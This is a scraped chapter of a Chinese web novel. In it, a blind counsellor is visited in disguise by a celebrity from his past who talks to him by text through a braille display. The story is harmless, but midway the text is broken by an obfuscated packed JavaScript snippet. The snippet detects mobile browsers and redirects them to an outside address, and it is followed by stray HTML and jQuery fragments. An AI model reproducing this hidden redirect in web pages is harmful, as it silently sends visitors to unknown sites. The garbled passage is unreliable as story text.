默认冷灰
24号文字
方正启体

5. 咨询

作者:余芽呀本书字数:K更新时间:
    对于陶与乐来说,今天跟平常并没有太大区别。


    他早上七点起床,正常洗漱,换好衣服,盛起提前用电饭煲定时煮好的粥,再重新刷牙,带齐东西,拿好盲杖出门。


    这几天气温略有回暖,风吹在脸上不再像刀子一样,陶与乐很喜欢像现在这样的冬天。


    一路上他没有遇到太多障碍物,也没有发生任何摔倒或者磕碰,非常顺利地在九点钟上班之前,抵达了他工作的心理咨询中心。


    当感应的玻璃门朝两侧自动打开,坐在前台的接待员嘉禾立刻向他打招呼,非常热情道:“陶医生早上好啊。”


    陶与乐也弯了弯眼睛,朝着声音传来的方向点头:“早上好。”


    “加上之前已经确定的,今天你一共有六个预约哦,上午两个,下午四个,”哪怕知道陶与乐什么都看不见,嘉禾还是忍不住冲他眨了眨眼:“时间都排满啦!”


    “这么多?”陶与乐难得有些吃惊。


    “对啊,吴医生和陈医生他们前段时间不是去大学里面搞讲座吗,不知道是谁把视频发网上了,咱们官方账号涨了好多关注,所以最近每天过来咨询的人可多了,排都排不过来呢。”


    不过嘉禾没说的是,作为前台接待人员,通过电话或线上接到咨询,了解完初步情况,确认对方对咨询师没有特殊要求和偏好以后,她给这些人推荐最多的,全部的都是陶与乐。


    不为别的,一直以来,因为眼睛看不见的缘故,有很多人在一开始都会对陶与乐的专业能力持有怀疑态度,愿意信任他的人并不算多。


    可嘉禾看在眼里,她知道陶与乐有多么努力,多么尽责。


    哪怕来访者并不算多,但根据后期的问卷以及回访来看,只要是选了陶与乐的,就没有对他不满意的。


    因此,嘉禾出于某些私心,想让陶与乐越来越好。


    但就算她没有说,陶与乐也大概能感受到这份善意。


    无非是希望他能少坐点冷板凳,希望有越来越多的人信任他,选择他。


    坦白讲,陶与乐自己其实并不心急,毕竟他才刚刚转正没有多久,再加上残疾人的身份,大部分人有所顾虑实在是人之常情。


    不过心里这样想着,他还是“望”向前台所在的方向,对嘉禾说:“那要不庆祝一下,下午我请大家喝下午茶?”


    “真的?那我要点——”


    嘉禾的话还没有说完,自动感应的玻璃门就再次打开,看到一对夫妻从外面进来,她立刻转换话头,礼貌冲对方道:“您好,请问是预约了心理咨询的吗?”


    “是,前天约的,今天上午九点半。”女人率先开口替丈夫回答,嘉禾点了点头,在核对完姓名和手机号以后立刻望向陶与乐说:“陶医生,是你的客户。”


    “资料昨天已经发过去了,那我现在先帮他们登记填表,一会儿带到你办公室去?”


    陶与乐望着空气点了点头,拿起盲杖准备离开,然而脸色原本就不太好看,一直没有说话的男人看见他的动作,终于忍不住道:“等会儿,怎么是个瞎子?”


    这话一出,嘉禾的表情瞬间僵在脸上,然后第一时间望向陶与乐,有些担心。


    “别乱说话!”同行的女人一把按住丈夫抬起的手,低声道:“什么瞎子,你有没有一点礼貌?人家是有正经从业资格证的专业心理咨询师!”


    “看不见不就是个瞎子?”


    男人这一趟来的本就不情不愿,此刻那种质疑与不满的情绪更是到达顶峰,他冲着妻子直接道:“我发现你是不是疯了?”


    “我都说了我没病我没病,你非要让我来看什么心理医生,花那么多钱也就算了,结果找的人是个瞎子?你知不知道现在赚钱有多不容——”


    “我知道!”女人忍不住打断他道:“可你连续几个月凌晨四五点起来抽烟也是正常?对女儿发脾气直接把平板电脑摔了也是正常?我都已经跟你解释过很多次了,不是来看心理医生的都是病人,但你现在这个状态是真的很不健康。”


    “来都来了,咱们就跟心理医生好好聊聊,不行吗?”


    “一个小时三百块钱,”男人说:“找一个眼睛看不见的人聊?”


    见这两人争执不下,站在前台的嘉禾也很尴尬,一时间不知道该如何是好:“那......”


    “那什么那?今天就不该请假跑这一趟!就算我真有什么焦虑症,也不可能把钱浪费在一个瞎子身上。”


    说完,男人转身就走,女人只来得及说出一个“你”字,就看到他的背影消失在自己眼前,不得不甩下一句“抱歉”,然后红着眼睛急匆匆追了出去。


    于是,前台很快就只剩下嘉禾和陶与乐两个。


    在一片令人窒息的寂静当中,她忍不住望向陶与乐,低声道:“陶医生对不起啊。”


    “你的情况我之前真的在电话里跟他老婆说过,是她说了没问题我才在系统里安排时间的,我没想到......”


    “没关系。”陶与乐笑了笑,语气跟平时没有任何区别:“后面不是还有五个人吗,他不看——”


    “他不看我们看!”


    “空出来的档期能不能现场预约?”


    没等陶与乐把话说完,一道声音突然插了进来,陶与乐愣了一下,下意识往声音传来的方向“望”去,嘉禾也抬起眼睛。


    而刚刚从外面听到两夫妻吵架,后悔自己来迟一步的戚驰舟站在门口,隔着两米的距离,跟陶与乐隔空对视。


    他看见陶与乐微微睁大的眼睛,看见他没有焦点的瞳仁,看见他根根分明的睫毛在脸上落下一小片扇形阴影,看见他在岁月的打磨下,褪去戚驰舟熟悉的很多痕迹,变成一个安静的,温和的,看起来成熟体面的人。


    戚驰舟说不清这一刻自己究竟是什么心情。


    幸好陶与乐现在什么都看不见,他的目光能毫不掩饰,直勾勾地落在他的脸上。


    嘉禾完全没注意到这点,只觉得这个戴着帽子口罩,完全看不清脸的男人个子好高,气质也很特殊,还有点说不清道不明的眼熟,不知道在哪里见过。


    但她怕不礼貌就没好意思多看,收回目光以后连忙望向刚刚开口的文朔:“您、您好,您刚才是说要预约我们这边的心理咨询吗?”


    “嗯,没错。”


    文朔咳了一声,严格按照戚驰舟交代他的话道:“是这样的,因为在网上看到陶医生的口碑很好,所以特地慕名而来,要是他有空余的档期,能不能现场预约?”


    “当然可以!”嘉禾瞬间来了精神,“那我现在就帮您登记!”


    “陶医生,就约九点半的时间,你看行吗?”


    “好。”陶与乐笑着点了点头。


    事实上,他并不相信“慕名而来”的这种说辞,但猜测这位声音年轻的来访者大概是看见了刚才发生的那场闹剧,特意替自己解围来的,不由得升起一丝难以言喻的感激。


    “那你先去办公室,”嘉禾积极道:“一会儿这边登记完了,我马上把人给你带过去。”


    陶与乐“嗯”了一声。


    只不过在转身离开时,不自觉朝空气中某个方向看了一眼,总觉得似乎有道存在感极强的视线正落在他的身上,沉甸甸的。


    当那双没有焦点的眼睛看来,他们再次对视,戚驰舟深吸口气,有那么一个瞬间,真的很想直接叫出陶与乐的名字,看看他脸上会出现什么表情。


    ——所幸,一共就只有一秒。


    陶与乐离开以后,文朔忍不住回头,悄悄瞥了一眼自己全副武装,状态跟平时截然不同的老板,内心无比纠结。


    直到对上戚驰舟顷刻间又切换回平静冷淡的眼神,才立刻回过神来,压低声音对准备给他们倒水的嘉禾说:“那什么,我们这边还有个特殊情况......”


    *


    十五分钟以后,拿着几张A4纸的嘉禾敲开了陶与乐办公室的门,陶与乐应声抬头,“资料都填好了?”


    “填好了,就是......”嘉禾犹豫了一下:“来访者说自己心理上没有什么问题,只是最近发生了一件他从未想过的事,导致心情极差,难以排解,再加上生病喉咙发炎,不太愿意说话,让我问问能不能用文字的形式来跟你沟通。”


    “不太愿意说话?”


    “是的,”嘉禾想了想,有些夸张地补充道:“而且他们刚才直接付了十倍的咨询费,把我都吓了一大跳呢,真是财大气粗。”


    十倍咨询费?


    陶与乐先是愣了一下,然后不自觉皱起眉头。


    要知道他现在一个小时的咨询费是三百块钱,在市面上属于比较合理的入门费用,可就算基础价格不高,乘以十也直接成了天价。


    目前有哪个心理咨询师敢收这个价格?恐怕只有那些全国知名的顶尖专家或者行业泰斗才能有这种资格。


    眼看陶与乐的表情不对,嘉禾连忙打断他道:“陶医生你可千万别拒绝啊!他们说了,主要是因为提出来的条件比较苛刻,所以今天不论找哪个心理医生,咨询费全部都是十倍。”


    “......”


    不愿意说话,想要以文字的形式沟通,这个条件很苛刻吗?


    对于普通人来说或许是有些奇怪,但在心理医生看来,其实并不算特别罕见的事,陶与乐就曾经碰见过类似案例。


    当时有个十几岁的女孩,被父母带着来看心理医生,却无论如何都不肯开口,什么话都不愿说。


    为了引导她,陶与乐先是主动说出了自己的眼睛问题,告诉她,他什么都看不见,所以在他面前不用紧张,她很安全。


    然后引导她如果不想说话的话,可以通过手机打字来和他交流,就像在线上跟网友聊天一样,最后,那女孩果然产生了些许动摇,不再抗拒和他沟通。


    只不过,陶与乐忽然想到什么,“望”向嘉禾所在的方向,轻声问:“你意思是,刚刚在前台的,不止一个人吗?”


    “嗯嗯,”嘉禾说:“之前说话的是一个人,真正预约咨询的是另一个人。”


    虽然完全没看清戚驰舟到底长什么样,她还是凭自己的直觉补了一句:“一个超级大帅哥哦!”


    陶与乐忍不住笑了一声。


    他并不关心什么超级大帅哥,只是对那十倍的心理咨询费受之有愧。


    听嘉禾简单介绍完填好的症状自评表和基础生活问卷以后,陶与乐点了点头,示意她可以把人带过来了:“那一会儿就直接用蓝牙连接我的盲文点显器吧,只是这个阅读的速度会有些慢,看来访者介不介意。”


    “陶医生放心,这些事我已经提前沟通过了,他们说没问题。”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147182|196402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    陶与乐点了点头。


    很快,嘉禾退出去没有多久,他便再次听见门“咔嗒”被打开的声音,一个人从外面走进来,紧跟着带来一阵散发着冬日凉意与古龙水香气的风。


    “是文先生吗,您好。”陶与乐冲着声音传来的方向说:“坐在我对面的沙发上面就好。”


    直接用文朔名字登记的戚驰舟没有说话,也没立刻坐下,反倒是率先环顾四周,望向这间心理咨询室的环境。


    早在他来之前就已经上网搜过,这家心理咨询中心规模很大,专家很多,硬件软件在沪市都首屈一指。


    也正是因为如此,像陶与乐这样刚入行的新人,也能拥有一间专属于自己的,宽敞明亮的独立咨询空间。


    只是戚驰舟不知道,一个正常人突然失明变成瞎子,要咽下多少苦头,付出多大努力,才能看起来轻描淡写地走到今天。


    微不可察地深吸口气。


    就在戚驰舟准备收回视线的时候,余光却忽然注意到不远处办公桌上放着的某样东西,脚步蓦地一顿,整个人定在原地。


    陶与乐不知道发生了什么,见迟迟没有回应,试探性叫他:“文先生?”


    戚驰舟骤然回神。


    喉结滚了两下,一时间不知道是该笑还是别的什么,然后在顷刻间恢复成与平常无异的样子,面无表情走到陶与乐的面前,在那个米白色沙发上面坐下,将帽子口罩摘下放到一边,正面望向他的眼睛。


    听见沙发一沉,还有衣物摩擦发出的细碎声音,陶与乐露出一个很温和的笑容,冲着戚驰舟道:“我听接待员说,您来看心理咨询是因为近期发生了一件意想不到的事,让您觉得很难接受对吗?”


    已经用手机蓝牙连接陶与乐手中那台盲文点显器的戚驰舟将两条腿随意岔开坐着,在屏幕上打了个“嗯”。


    陶与乐这边即刻刷新出对应的盲文符号,在确认他说了什么之后,继续问:“也是这件事让您觉得呼吸困难,胃部疼痛的吗?”


    戚驰舟盯着他的脸看了一会儿,再次动动手指打字:“嗯,还包括掌心发麻,神经紧绷,甚至控制不住想发脾气,但又不知道这个脾气到底该冲着谁去。”


    “方便问一下具体发生了什么事吗,”陶与乐说:“如果您愿意和我分享的话。”


    “......”


    戚驰舟静了片刻,继续在手机上面输入:“在敞开心扉之前,是不是应该先建立信任?”


    “当然,”陶与乐点了点头:“不想先聊这个的话,我们可以说点别的。”


    单方面跟陶与乐对视良久,无数种说不清道不明的情绪全部挤在心脏,戚驰舟靠在沙发上按手机:“其实我也不知道该说些什么。”


    “这是我第一次来做咨询,刚才外面那个是我助理。”


    “他觉得我好像完全不需要这个,但其实这些年来,我觉得很多事情都没有意思。”


    “获得的越多,这种感觉就越明显。”


    “不论是开心,惊喜,生气,满足,失落......全部都差点东西。”


    触摸着指尖不断变化的盲文符号,陶与乐像之前一样,习惯性在脑海中勾勒这个来访者的画像。


    大概率年轻英俊,家境优渥,事业有成。


    但内心似乎有个填不满的空洞,成因未明。


    然而还没等他完全梳理清楚,点显器上的字符再度发生变化,刚刚还在向他剖白自己的戚驰舟话锋一转,问他:“陶医生呢。”


    “我听前台的接待员说你是后天眼盲。”


    戚驰舟字打得不快,像是刻意在配合盲文点显器的字符变化速度:“为什么会突然丧失视力?后天失去视力是一种什么感受?眼盲这些年,会不会过得很不容易?”


    陶与乐触摸盲文的动作一顿,下意识抬眸,“望”向坐在他对面的人,冬日上午的阳光透过窗户,照在他半边侧脸上,衬得皮肤有种近乎透明的白。


    当然,陶与乐并不知道这点。


    他只是蓦地产生了一种说不清道不明的感觉。


    不是被冒犯,也不是被唐突——


    事实上,这当然不是第一次有人在咨询过程中表达出对陶与乐眼睛的好奇。


    但或许是因为今天坐在他对面的人全程都没有发声,无法判断语气,导致冷不丁听见这些,陶与乐竟然莫名怔了一下,忘记了接下来该如何反应。


    他并没有向陌生人袒露自我的习惯。


    但是对于一个专业的心理咨询师而言,适当的交换信息,有助于建立他与来访者之间的信任。


    于是,在反应过来之后,陶与乐很轻地笑了一下,冲着空气说:“当初我的视网膜突然发生病变,视力急速下降,不到三个月就彻底变成了一个瞎子。”


    “不过还好,人的适应能力是很强的,接受以后就重新调整,慢慢地也就不觉得有什么了。”


    ——人的适应能力很强。


    戚驰舟面无表情地在心里将这句话重复一遍,也不知道究竟认不认可。


    他只是在静了片刻以后,重新将目光从不远处那张干净整洁的办公桌上扫过,又定定看了陶与乐很久,半晌后继续用手机打字:“进来的时候无意中看到副画。”


    “陶医生平时也追星吗?”


    “——喜欢戚驰舟?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)